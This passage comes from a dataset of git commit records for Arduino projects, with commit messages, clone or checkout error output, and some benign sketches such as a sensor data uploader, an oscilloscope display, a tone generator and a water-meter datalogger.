Senses\/scoreboard\/scoreboard.ino","new_file":"Sounds and Senses\/scoreboard\/scoreboard.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sounds' did not match any file(s) known to git\nerror: pathspec 'and' did not match any file(s) known to git\nerror: pathspec 'Senses\/scoreboard\/scoreboard.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8e1659bfabebd37686cb5ee58ebb77da8df6850e","subject":"Asservissement: caract\u00e9risationVitesseMoteur => garde une vitesse constante","message":"Asservissement: caract\u00e9risationVitesseMoteur => garde une vitesse constante\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Moteur\/Software\/Asservissement\/CaraterisationVitesseMoteur\/CaraterisationVitesseMoteur\/caraterisationVitesseMoteur.ino","new_file":"Module Moteur\/Software\/Asservissement\/CaraterisationVitesseMoteur\/CaraterisationVitesseMoteur\/caraterisationVitesseMoteur.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Moteur\/Software\/Asservissement\/CaraterisationVitesseMoteur\/CaraterisationVitesseMoteur\/caraterisationVitesseMoteur.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9f2f830d230205ed172b0935462de66ed14081a3","subject":"Remove backlight control from badge.","message":"Remove backlight control from badge.\n\nExtend distance at which the panel lights.\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"Badge2\/Badge2.ino","new_file":"Badge2\/Badge2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"78c21db5a94ef7b24ac6f86f2d1a2432461fad9d","subject":"fix tryhard LAN","message":"fix tryhard LAN\n","repos":"ArduProg\/arduino,ArduProg\/arduino,wiiproSK\/arduino,wiiproSK\/arduino,ArduProg\/arduino","old_file":"Sketch1\/Sketch1\/webduino.ino","new_file":"Sketch1\/Sketch1\/webduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wiiproSK\/arduino.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"cc859771e1aab8526237603545cbc12a415078af","subject":"set BPS to 57600 for 3dr radio serial speed","message":"set BPS to 57600 for 3dr radio serial speed\n","repos":"upperman\/Wireless-Led-Display,upperman\/Wireless-Led-Display","old_file":"Software\/arduino\/arduino.ino","new_file":"Software\/arduino\/arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/upperman\/Wireless-Led-Display.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"4f501674dfe6e413cabc8cca4831ab5bf8633317","subject":"Create template_custom_setup.ino","message":"Create template_custom_setup.ino\n\nArduino template for custom sensor setup","repos":"sensebox\/OpenSenseMap-API,chk1\/OpenSenseMap-API,mpfeil\/OpenSenseMap-API,mpfeil\/OpenSenseMap-API,sensebox\/OpenSenseMap-API","old_file":"files\/template_custom_setup\/template_custom_setup.ino","new_file":"files\/template_custom_setup\/template_custom_setup.ino","new_contents":"#include <SPI.h>\n#include <Ethernet.h>\n\/*\n * Zus\u00e4tzliche Sensorbibliotheken, -Variablen etc im Folgenden einf\u00fcgen.\n *\/\n \n\/\/SenseBox ID\n\n\/\/Sensor IDs\n\n\/\/Ethernet-Parameter\nchar server[] = \"www.opensensemap.org\";\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\n\/\/ Diese IP Adresse nutzen falls DHCP nicht m\u00f6glich\nIPAddress myIP(192, 168, 0, 42);\nEthernetClient client;\n\n\/\/Messparameter\nint postInterval = 10000; \/\/Uploadintervall in Millisekunden\nlong oldTime = 0;\n\n\nvoid setup()\n{\n Serial.begin(9600); \n Serial.print(\"Starting network...\");\n \/\/Ethernet Verbindung mit DHCP ausf\u00fchren..\n if (Ethernet.begin(mac) == 0) \n {\n Serial.println(\"DHCP failed!\");\n \/\/Falls DHCP fehltschl\u00e4gt, mit manueller IP versuchen\n Ethernet.begin(mac, myIP);\n }\n Serial.println(\"done!\");\n delay(1000);\n Serial.println(\"Starting loop.\");\n}\n\nvoid loop()\n{\n \/\/Upload der Daten mit konstanter Frequenz\n if (millis() - oldTime >= postInterval)\n {\n oldTime = millis();\n \/*\n * Hier Sensoren auslesen und nacheinerander \u00fcber postFloatValue(...) hochladen. Beispiel:\n * \n * float temperature = sensor.readTemperature();\n * postFloatValue(temperature, 1, temperatureSensorID);\n *\/ \n }\n}\n\nvoid postFloatValue(float measurement, int digits, String sensorId)\n{ \n \/\/Float zu String konvertieren\n char obs[10]; \n dtostrf(measurement, 5, digits, obs);\n \/\/Json erstellen\n String jsonValue = \"{\\\"value\\\":\"; \n jsonValue += obs; \n jsonValue += \"}\"; \n \/\/Mit OSeM Server verbinden und POST Operation durchf\u00fchren\n Serial.println(\"-------------------------------------\"); \n Serial.print(\"Connectingto OSeM Server...\"); \n if (client.connect(server, 8000)) \n {\n Serial.println(\"connected!\");\n Serial.println(\"-------------------------------------\"); \n \/\/HTTP Header aufbauen\n client.print(\"POST \/boxes\/\");client.print(SENSEBOX_ID);client.print(\"\/\");client.print(sensorId);client.println(\" HTTP\/1.1\");\n client.println(\"Host: www.opensensemap.org\"); \n client.println(\"Content-Type: application\/json\"); \n client.println(\"Connection: close\"); \n client.print(\"Content-Length: \");client.println(jsonValue.length()); \n client.println(); \n \/\/Daten senden\n client.println(jsonValue);\n }else \n {\n Serial.println(\"failed!\");\n Serial.println(\"-------------------------------------\"); \n }\n \/\/Antwort von Server im seriellen Monitor anzeigen\n waitForServerResponse();\n}\n\nvoid waitForServerResponse()\n{ \n \/\/Ankommende Bytes ausgeben\n boolean repeat = true; \n do{ \n if (client.available()) \n { \n char c = client.read();\n Serial.print(c); \n } \n \/\/Verbindung beenden \n if (!client.connected()) \n {\n Serial.println();\n Serial.println(\"--------------\"); \n Serial.println(\"Disconnecting.\");\n Serial.println(\"--------------\"); \n client.stop(); \n repeat = false; \n } \n }while (repeat);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'files\/template_custom_setup\/template_custom_setup.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0d29fa7d3f31552ba010caf4c95940e4fcc9f2c6","subject":"R\u00e9ctification test driver 02","message":"R\u00e9ctification test driver 02\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module moteur\/Software\/Asservissement\/TestDriver\/TestDriver_02\/TestDriver_02.ino","new_file":"Module moteur\/Software\/Asservissement\/TestDriver\/TestDriver_02\/TestDriver_02.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'moteur\/Software\/Asservissement\/TestDriver\/TestDriver_02\/TestDriver_02.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c885b0341a1487963046dd6a052362facc57902a","subject":"M5StackFire microphone oscilloscope example added","message":"M5StackFire microphone oscilloscope example added\n","repos":"m5stack\/M5Stack,m5stack\/M5Stack,m5stack\/M5Stack","old_file":"examples\/Fire\/M5StackFire_MicrophoneSignalTFT\/M5StackFire_MicrophoneSignalTFT.ino","new_file":"examples\/Fire\/M5StackFire_MicrophoneSignalTFT\/M5StackFire_MicrophoneSignalTFT.ino","new_contents":"\/************************************************************************\n\n M5StackFire Discovery simple oscilloscope example\n\n The oscilloscope has a auto trigger function to achive a stable\n visual impression when a repeating signal like a sine wave is applied.\n\n original version\n STM32F429 Discovery June 2018, ChrisMicro\n this version reworked for\n M5StackFire September 2018, ChrisMicro\n\n************************************************************************\/\n#include <M5Stack.h>\n\n#define M5STACKFIRE_MICROPHONE_PIN 34\n\n#define HORIZONTAL_RESOLUTION 320\n#define VERTICAL_RESOLUTION 240\n#define POSITION_OFFSET_Y 30\n#define SIGNAL_LENGTH HORIZONTAL_RESOLUTION\n\nuint16_t oldSignal[SIGNAL_LENGTH];\nuint16_t adcBuffer[SIGNAL_LENGTH];\n\n#define SAMPLING_TIME_US 25\n#define ANALOG_SIGNAL_INPUT M5STACKFIRE_MICROPHONE_PIN\n\nvoid setup()\n{\n M5.Lcd.begin();\n M5.Lcd.fillScreen( BLACK );\n M5.Lcd.fillRect(10, 1, 150, 160, BLACK);\n M5.Lcd.setCursor(0, 0);\n M5.Lcd.setTextColor(GREEN); \/\/M5.Lcd.setTextSize(3);\n M5.Lcd.setTextSize(1);\n\n M5.Lcd.println(\"analog input MIC\");\n M5.Lcd.print(\"sampling frequency: \"); M5.Lcd.print(1000000 \/ SAMPLING_TIME_US); M5.Lcd.println(\" Hz\");\n}\n\nvoid waitForAutoTrigger()\n{\n uint32_t triggerLevel = 512;\n uint32_t hysteresis = 10;\n uint32_t timeOut_ms = 100;\n\n uint32_t timeOutLimit = millis() + timeOut_ms;\n uint32_t timeOutFlag = false;\n\n uint32_t adcValue = 0;\n\n adcValue = analogRead( ANALOG_SIGNAL_INPUT );\n\n \/\/ wait for low level\n while ( ( adcValue > triggerLevel - hysteresis ) && !timeOutFlag )\n {\n adcValue = analogRead( ANALOG_SIGNAL_INPUT );\n\n if ( millis() > timeOutLimit ) timeOutFlag = 1 ;\n }\n\n if ( !timeOutFlag )\n {\n \/\/ wait for high level\n while ( ( adcValue < triggerLevel + hysteresis ) && ( millis() < timeOutLimit ) )\n {\n adcValue = analogRead(ANALOG_SIGNAL_INPUT);\n }\n }\n\n}\n\nvoid showSignal()\n{\n int n;\n\n int oldx;\n int oldy;\n int y;\n\n for (n = 1; n < SIGNAL_LENGTH; n++)\n {\n y = VERTICAL_RESOLUTION - adcBuffer[n] * ( VERTICAL_RESOLUTION - POSITION_OFFSET_Y) \/ 4096 - POSITION_OFFSET_Y \/ 2 ;\n\n if (n == 1)\n {\n oldx = n;\n oldy = y;\n }\n\n if (n < SIGNAL_LENGTH - 1)\n {\n \/\/ delete old line element\n M5.Lcd.drawLine(n - 1 , oldSignal[n - 1], n, oldSignal[n], BLACK );\n\n \/\/ draw new line element\n M5.Lcd.drawLine(oldx, oldy, n, y, GREEN );\n }\n\n oldSignal[n - 1] = oldy;\n oldx = n;\n oldy = y;\n }\n}\n\nvoid loop(void)\n{\n int n;\n uint32_t nextTime = 0;\n\n waitForAutoTrigger();\n\n \/\/ record signal\n for (n = 1; n < SIGNAL_LENGTH; n++)\n {\n adcBuffer[n] = analogRead( ANALOG_SIGNAL_INPUT );\n\n \/\/ wait for next sample\n while (micros() < nextTime);\n nextTime = micros() + SAMPLING_TIME_US;\n }\n\n showSignal();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Fire\/M5StackFire_MicrophoneSignalTFT\/M5StackFire_MicrophoneSignalTFT.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b30fbff0629ab8fdf9c726f7a7b0fe08244ca7ff","subject":"Create robot.ino","message":"Create robot.ino","repos":"Matthieu-Riou\/ProjetRobot","old_file":"robot.ino","new_file":"robot.ino","new_contents":"int mAvant = 3;\nint mArrier = 4;\nint angle = 5;\nint data = 0;\n\nvoid setup(){\n Serial.begin(9600);\n analogWrite(angle);\n digitalWrite(mAvant, LOW);\n digitalWrite(mArrier, LOW);\n}\n\nvoid loop(){\n if (Serial.available() > 0) {\n data = Serial.read();\n switch(data){\n case 0:\n digitalWrite(mAvant, LOW);\n digitalWrite(mArrier, LOW);\n break;\n case 1:\n digitalWrite(mAvant, HIGH);\n digitalWrite(mArrier, LOW);\n break;\n case 2:\n digitalWrite(mAvant, LOW);\n digitalWrite(mArrier, HIGH);\n break;\n case 3:\n while(Serial.available() <= 0)\n delay(1);\n data = Serial.read();\n analogWrite(angle, data);\n break;\n default:break; \n }\n analogWrite(angle);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'robot.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6ba9bcc6a37facea1ed8aadb741d652921309cdc","subject":"Sound Buzzer Update","message":"Sound Buzzer Update\n","repos":"MakerWear\/MakerWear,MakerWear\/MakerWear,MakerWear\/MakerWear","old_file":"Action Modules\/Piano Synthesizer\/PianoSynthesizerATtiny\/PianoSynthesizerATtiny.ino","new_file":"Action Modules\/Piano Synthesizer\/PianoSynthesizerATtiny\/PianoSynthesizerATtiny.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Action' did not match any file(s) known to git\nerror: pathspec 'Modules\/Piano' did not match any file(s) known to git\nerror: pathspec 'Synthesizer\/PianoSynthesizerATtiny\/PianoSynthesizerATtiny.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d762769effcbb49e1a9f1d7b2766ffe24559def5","subject":"simple speaker dac sine added","message":"simple speaker dac sine added\n","repos":"m5stack\/M5Stack,m5stack\/M5Stack,m5stack\/M5Stack","old_file":"examples\/Fire\/M5StackFire_simpleSpeakerDacSine\/M5StackFire_simpleSpeakerDacSine.ino","new_file":"examples\/Fire\/M5StackFire_simpleSpeakerDacSine\/M5StackFire_simpleSpeakerDacSine.ino","new_contents":"\/*\n I2S sine wave\n This example produces a digital sine wave on the build in DAC1\n which is connected to the speaker\n\n Hardware:\n microcontroller board: M5StackFire\n amplifier: Speaker connected to DAC pin 25\n\n September 2018 ChrisMicro\n*\/\n\n#define DACPIN 25 \/\/ speaker DAC, only 8 Bit\n\n#define SAMPLINGFREQUENCY 44100\n#define NUMBEROFSAMPLES SAMPLINGFREQUENCY * 1 \/\/ paly 1 seconds\n\n#define DAC_MAX_AMPLITUDE 127\/4 \/\/ max value is 127, but it is too loud\n\n#define AUDIOBUFFERLENGTH NUMBEROFSAMPLES\n\nuint8_t AudioBuffer[AUDIOBUFFERLENGTH];\n\nvoid setup()\n{\n const float frequency = 440;\n const float amplitude = DAC_MAX_AMPLITUDE;\n\n \/\/ store sine wave in buffer\n for (int n = 0; n < NUMBEROFSAMPLES; n++)\n {\n int16_t sineWaveSignal = ( sin( 2 * PI * frequency \/ SAMPLINGFREQUENCY * n )) * amplitude;\n AudioBuffer[n] = sineWaveSignal+128;\n }\n}\n\nvoid loop()\n{\n\n uint32_t start = micros();\n\n for (int n = 0; n < NUMBEROFSAMPLES; n++)\n {\n \/\/ wait for next sample\n while (start + ( 1000000UL \/ SAMPLINGFREQUENCY) > micros() );\n start = micros();\n\n dacWrite(DACPIN, AudioBuffer[n]);\n\n }\n\n delay(3000);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Fire\/M5StackFire_simpleSpeakerDacSine\/M5StackFire_simpleSpeakerDacSine.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"269d84184ef82440d979722a3c9452e8d064088f","subject":"Add files via upload","message":"Add files via upload\n\nArduino sketch for SD Datalogger Prototype","repos":"UCHIC\/WaterMonitor","old_file":"src\/piggy_back_loggers\/Integrated_Test_PowerSleep.ino","new_file":"src\/piggy_back_loggers\/Integrated_Test_PowerSleep.ino","new_contents":"\/\/ Experimental code integrating a Hall Effect Sensor, Serial Interface, and a microSD card for the data logger project\r\n\/\/ Arduino IDE ver. 1.8.7\r\n\/\/ Utah Water Research Lab\r\n\/\/ Updated: 10\/2\/2018\r\n\/\/ Note: F(\"String\") keeps string literals in program memory and out of RAM. Saves RAM space. Very good. Don't remove the F. I know it looks funny. But don't do it. Really. The program might crash if you do. And then you'll have dishonor on yourself, dishonor on your cow...\r\n\r\n\/******************************************************************************************\\\r\n* Hardware Description\r\n* ________ ___________________ _______\r\n* | | | |<------------------------->| | microSD\r\n* | |<------->| |<-----[] Activate Serial |______\/\r\n* |________| |___________________|<-----[] Sensor\r\n* Serial Controller\r\n* \r\n* Serial: Serial interface for user interaction with the logger\r\n* Controller: Arduino Pro\/Pro Mini (used for SD library and lower power options)\r\n* microSD: External storage for the logger.\r\n* Activate Serial: Button to wake up the controller and activate the Serial interface\r\n* Sensor: Hall Effect Sensor for logging pulses from water meters.\r\n* \r\n* \/!\\ Watchdog timer timeout too long at 3.3 V. Consider options:\r\n* Run at 5V, level-shift for microSD\r\n* External RTC\r\n* \/!\\ Power: Tracco does good job, but has low efficiency around 2 mA. Consider options:\r\n* Be ok with it because it still has lots of battery life\r\n* Find Switching Low Dropout Low Quiescient Regulator\r\n* \r\n\\******************************************************************************************\/\r\n\r\n\/*********************************************************\\\r\n* Software Description\r\n* Overview: \r\n* User inputs:\r\n* Serial input.\r\n* Device outputs:\r\n* Serial output\r\n* Datalog file\r\n* \r\n* Structure:\r\n* 1. Setup\r\n* 2. Loop\r\n* If serial is enabled\r\n* Handle serial input\r\n* Else\r\n* Sleep the processor (low-power mode)\r\n* On wakeup:\r\n* If awoken because 4 second-interval is up\r\n* Update time\r\n* If logging\r\n* Write data to microSD card\r\n* Repeat Loop\r\n* \r\n* Interrupts:\r\n* 1. INT0 (Hall Effect Sensor)\r\n* On interrupt, the number of pulses increments.\r\n* 2. INT1 (Activate Serial Button)\r\n* On interrupt, activates serial interface for user\r\n* 3. Watchdog Timer\r\n* On interrupt (~4 seconds), sets flag to tell\r\n* controller to update the time.\r\n* \/!\\ At 3.3 V, the Watchdog timeout is ~4.4 seconds\r\n* Considering other timing alternatives.\r\n\\*********************************************************\/\r\n\r\n#include <SPI.h>\r\n#include <SD.h>\r\n#include <avr\/sleep.h>\r\n#include <avr\/power.h>\r\n#include <avr\/wdt.h>\r\n\r\nFile dataFile;\r\n\r\n\/\/volatile byte dataBuffer[630]; \/\/ Buffer of 9-byte samples to be written to the SD card. This permits 70 Records. It should fill up every 4 1\/2 minutes or so. \/\/ The other option is to use an external EEPROM chip\r\n\r\nvolatile byte pulseCount = 0;\r\nvolatile unsigned long recordNum = 1;\r\nvolatile bool logging = false;\r\nvolatile bool timesUp = false;\r\nvolatile bool serialOn = true;\r\nvolatile bool SDinit = false;\r\n\r\nbyte seconds = 0;\r\nbyte minutes = 55;\r\nbyte hours = 17;\r\nbyte days = 18;\r\nbyte months = 9;\r\nshort years = 2018;\r\n\r\n\/* Function: void setup()\r\n * Inputs: None\r\n * Outputs: None\r\n * Runs first.\r\n * Overview:\r\n * setup() Sets up the hardware and software by:\r\n * - Disabling uneeded peripherals to save power\r\n * - Initializing serial communication between controller and host computer\r\n * - Initializing external interrupts (INT0 and INT1)\r\n * - Initializing the Watchdog Timer\r\n * Finally, setup() prompts the user over serial, letting the user know the logger is ready.\r\n*\/\r\n\r\nvoid setup() \r\n{ \r\n \/*** Disable Uneeded Peripherals ***\/\r\n ADCSRA = 0; \/\/ Disable ADC\r\n power_adc_disable();\r\n power_timer0_disable();\r\n power_timer1_disable();\r\n power_timer2_disable();\r\n power_twi_disable();\r\n\r\n \/*** Enable needed Peripherals ***\/\r\n power_usart0_enable();\r\n power_spi_enable();\r\n\r\n \/*** Initialize Serial Communication ***\/\r\n Serial.begin(9600); \/\/ Initialize Serial Communication\r\n while(!Serial);\r\n\r\n pinMode(7, OUTPUT); \/\/ LED for debugging purposes\r\n\r\n \/*** Set Up External Interrupts ***\/\r\n \r\n pinMode(2, INPUT); \/\/ Setup interrupt INT0 (Hall Effect Sensor, interrupt INT1 (Serial Start Button), and Timer Interrupt\r\n pinMode(3, INPUT);\r\n attachInterrupt(digitalPinToInterrupt(2), INT0_ISR, FALLING);\r\n attachInterrupt(digitalPinToInterrupt(3), INT1_ISR, FALLING);\r\n\r\n EIMSK &= ~(1 << INT0); \/\/ Disable Hall Effect Sensor interrupt\r\n EIMSK &= ~(1 << INT1); \/\/ Disable Serial Start Button (Serial is active on power-up)\r\n\r\n \/*** Setup the Watchdog Timer ***\/\r\n\r\n MCUSR &= ~(1 << WDRF); \/\/ Clear the Reset Flag\r\n WDTCSR |= (1 << WDCE) | (1 << WDE); \/\/ Allows change of prescaler value\r\n WDTCSR = (1 << WDP3); \/\/ Prescale value 512K (~4.39 s)\r\n WDTCSR |= _BV(WDIE); \/\/ Enable WDT interrupt (No Reset)\r\n\r\n \/*** Prompt User ***\/\r\n Serial.print(F(\">> Logger: Logger ready.\\n>> User 1: \"));\r\n}\r\n\r\n\/* Function: void loop()\r\n * Inputs: None\r\n * Outputs: None\r\n * Runs second (after void setup())\r\n * Overview:\r\n * loop() is the main program loop, which executes as follows:\r\n * If serial is active\r\n * Handle the serial interaction\r\n * Else\r\n * Sleep \/\/ This \"Sleep\" halts just about everything on the microcontroller.\r\n * \/\/ The microcontroller is woken up by:\r\n * \/\/ 1. A 4-second timeout from the Watchdog Timer\r\n * \/\/ 2. A signal from the Hall Effect Sensor\r\n * \/\/ 3. A signal from the Activate Serial Button\r\n * If the timesUp flag is set\r\n * Unset timesUp flag\r\n * Update the time\r\n * If datalogging is active\r\n * Write data out to the microSD card\r\n * \r\n * This loop executes for as long as the microcontroller is on. Data collection, timing, and serial interface activation\r\n * are handled by interrupts. Note that the serial interface starts active until exited.\r\n * \r\n*\/\r\n\r\nvoid loop()\r\n{\r\n \/*** Serial Communication if active ***\/\r\n \r\n if(serialOn) \/\/ This will eventually be turned on\/off by the user. Right now, Serial is always on.\r\n handleSerial();\r\n else\r\n {\r\n enterSleep();\r\n }\r\n \r\n \/*** Update time\/data if time is up ***\/ \r\n \r\n if(timesUp) \/\/ Update date\/time \r\n {\r\n timesUp = false;\r\n digitalWrite(7, HIGH); \/\/ Debugging LED on\r\n upDateTime();\r\n if(logging) \/\/ If logging is set and 4 seconds have passed, write data to the SD card. \r\n { \/\/ In the final setup, the SD will not be written every 4 seconds (power usage problems).\r\n SD_Write();\r\n }\r\n digitalWrite(7, LOW); \/\/ Debugging LED off.\r\n }\r\n}\r\n\r\nvoid enterSleep()\r\n{\r\n\r\n \/*** Setup Sleep options ***\/\r\n \r\n set_sleep_mode(SLEEP_MODE_PWR_DOWN); \/\/ Lowest powerdown mode\r\n sleep_enable(); \/\/ Enable sleep\r\n\r\n \/*** Put processor to sleep ***\/\r\n\r\n sleep_mode();\r\n\r\n \/*** Continue ***\/\r\n \r\n sleep_disable();\r\n\r\n \/*** Re-enable necessary peripherals ***\/\r\n if(serialOn)\r\n {\r\n power_usart0_enable();\r\n }\r\n power_spi_enable();\r\n}\r\n\r\nvoid SD_Write()\r\n{\r\n byte finalCount = pulseCount;\r\n pulseCount = 0;\r\n dataFile = SD.open(F(\"datalog.csv\"), FILE_WRITE);\r\n if(!dataFile)\r\n {\r\n Serial.print(F(\"\\n>> Logger: Error opening file. Re-initialize the SD card.\\n>> User 1: \"));\r\n SDinit = false;\r\n logging = false;\r\n }\r\n else\r\n {\r\n dataFile.print(F(\"\\\"\"));\r\n dataFile.print(months);\r\n dataFile.print(F(\"\/\"));\r\n dataFile.print(days);\r\n dataFile.print(F(\"\/\"));\r\n dataFile.print(years);\r\n dataFile.print(F(\" \"));\r\n dataFile.print(hours);\r\n dataFile.print(F(\":\"));\r\n if(minutes < 10)\r\n dataFile.print(F(\"0\"));\r\n dataFile.print(minutes);\r\n dataFile.print(F(\":\"));\r\n if(seconds < 10)\r\n dataFile.print(F(\"0\"));\r\n dataFile.print(seconds);\r\n dataFile.print(F(\"\\\",\"));\r\n dataFile.print(recordNum);\r\n dataFile.print(',');\r\n dataFile.print(finalCount);\r\n dataFile.print('\\n');\r\n recordNum += 1;\r\n dataFile.close();\r\n }\r\n}\r\n\r\nvoid INT0_ISR() \/\/ Sensor ISR. Increment pulse count.\r\n{\r\n pulseCount += 1;\r\n}\r\n\r\nvoid INT1_ISR() \/\/ Serial On Button ISR. Activate Serial Interface\r\n{\r\n power_usart0_enable();\r\n serialOn = true;\r\n Serial.begin(9600);\r\n Serial.print(F(\"\\n>> User 1: \"));\r\n EIMSK &= ~(1 << INT1);\r\n}\r\n\r\nISR(WDT_vect) \/\/ WatchDog Timer ISR sets \"4-seconds are up\" flag\r\n{\r\n timesUp = true;\r\n}\r\n\r\nbool isLeapYear(short year)\r\n{\r\n return (((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0));\r\n}\r\n\r\nvoid upDateTime()\r\n{\r\n seconds += 4;\r\n if(seconds >= 60)\r\n {\r\n seconds = 0;\r\n minutes += 1;\r\n }\r\n if(minutes >= 60)\r\n {\r\n minutes = 0;\r\n hours += 1;\r\n }\r\n if(hours >= 24)\r\n {\r\n hours = 0;\r\n days += 1;\r\n }\r\n switch(days)\r\n {\r\n case 29:\r\n switch(months)\r\n {\r\n case 2:\r\n if(!isLeapYear(years))\r\n {\r\n days = 1;\r\n months += 1;\r\n }\r\n break;\r\n }\r\n break;\r\n case 30:\r\n switch(months)\r\n {\r\n case 2:\r\n days = 1;\r\n months += 1;\r\n break;\r\n }\r\n break;\r\n case 31:\r\n switch(months)\r\n {\r\n case 4:\r\n days = 1;\r\n months += 1;\r\n break;\r\n case 6:\r\n days = 1;\r\n months += 1;\r\n break;\r\n case 9:\r\n days = 1;\r\n months += 1;\r\n break;\r\n case 11:\r\n days = 1;\r\n months += 1;\r\n break;\r\n }\r\n break;\r\n case 32:\r\n days = 1;\r\n months += 1;\r\n break;\r\n }\r\n if(months > 12)\r\n {\r\n months = 1;\r\n years += 1;\r\n }\r\n}\r\n\r\nvoid handleSerial() \/\/ Serial Handling function\r\n{\r\n char input; \r\n if(Serial.available() > 0) \/\/ Check if serial data is available.\r\n {\r\n input = Serial.read();\r\n if (input != '\\n') \/\/ Ignore newline characters.\r\n Serial.println(input);\r\n\r\n switch(input) \/\/ Switch statement for all defined inputs\r\n {\r\n case 'c':\r\n if(!SDinit)\r\n {\r\n Serial.print(F(\">> Logger: SD card not initialized.\\n>> User 1: \"));\r\n break;\r\n }\r\n Serial.println();\r\n dataFile = SD.open(F(\"datalog.csv\"), FILE_READ);\r\n while(dataFile.available() > 0)\r\n {\r\n Serial.write(dataFile.read());\r\n }\r\n dataFile.close();\r\n Serial.println();\r\n Serial.print(F(\">> User 1: \"));\r\n break;\r\n\r\n case 'C': \/\/ Start the SD card fresh. Useful. Protected from deleting while in use.\r\n if(!SDinit)\r\n {\r\n Serial.print(F(\">> Logger: SD card not initialized.\\n>> User 1: \"));\r\n break;\r\n }\r\n if(logging == false)\r\n {\r\n Serial.print(F(\">> Logger: Cleaning SD Card...\"));\r\n SD.remove(\"datalog.csv\");\r\n Serial.print(F(\"\\n>> Logger: SD Card Clean!\\n>> User 1: \"));\r\n }\r\n else\r\n {\r\n Serial.print(F(\"\\n>> Logger: Cannot clean SD Card while logging.\\n>> User 1: \"));\r\n }\r\n break;\r\n\r\n case 'd':\r\n Serial.print(F(\">> Logger: (month\/day\/year) \"));\r\n Serial.print(months);\r\n Serial.print(F(\"\/\"));\r\n Serial.print(days);\r\n Serial.print(F(\"\/\"));\r\n Serial.print(years);\r\n Serial.print(F(\" \"));\r\n Serial.print(hours);\r\n Serial.print(F(\":\"));\r\n if(minutes < 10)\r\n Serial.print(F(\"0\"));\r\n Serial.print(minutes);\r\n Serial.print(F(\":\"));\r\n if(seconds < 10)\r\n Serial.print(F(\"0\"));\r\n Serial.print(seconds);\r\n Serial.print(F(\"\\n>> User 1: \"));\r\n break;\r\n\r\n case 'e':\r\n serialOn = false;\r\n Serial.print(F(\">> Logger: Exit\\n\")); \/\/ This will turn serial off at somepoint. Right now, it just says exit.\r\n Serial.print(months);\r\n Serial.print(F(\"\/\"));\r\n Serial.print(days);\r\n Serial.print(F(\"\/\"));\r\n Serial.print(years);\r\n Serial.print(F(\" \"));\r\n Serial.print(hours);\r\n Serial.print(F(\":\"));\r\n if(minutes < 10)\r\n Serial.print(F(\"0\"));\r\n Serial.print(minutes);\r\n Serial.print(F(\":\"));\r\n if(seconds < 10)\r\n Serial.print(F(\"0\"));\r\n Serial.print(seconds);\r\n EIMSK |= (1 << INT1);\r\n Serial.end();\r\n power_usart0_disable();\r\n break;\r\n\r\n case 'E':\r\n if(logging)\r\n {\r\n Serial.print(F(\">> Logger: SD busy. Use command 'S' to stop datalogging and try again.\\n>> User 1: \"));\r\n break;\r\n }\r\n if(!SDinit)\r\n {\r\n Serial.print(F(\">> Logger: No SD card to eject.\\n>> User 1: \"));\r\n break;\r\n }\r\n SDinit = false;\r\n Serial.print(F(\">> Logger: SD card may now be removed.\\n>> User 1: \"));\r\n break;\r\n\r\n case 'h': \/\/ Help list\r\n Serial.print(F(\">> Logger: List of commands:\\n\"));\r\n Serial.print(F(\" c -- Copy data file to terminal\\n\"));\r\n Serial.print(F(\" C -- Clean SD card\\n\"));\r\n Serial.print(F(\" d -- View date\/time\\n\"));\r\n Serial.print(F(\" e -- Exit serial interface\\n\"));\r\n Serial.print(F(\" E -- Eject SD card\\n\"));\r\n Serial.print(F(\" h -- Display help\\n\"));\r\n Serial.print(F(\" i -- Initialize the SD card\\n\"));\r\n Serial.print(F(\" s -- Start 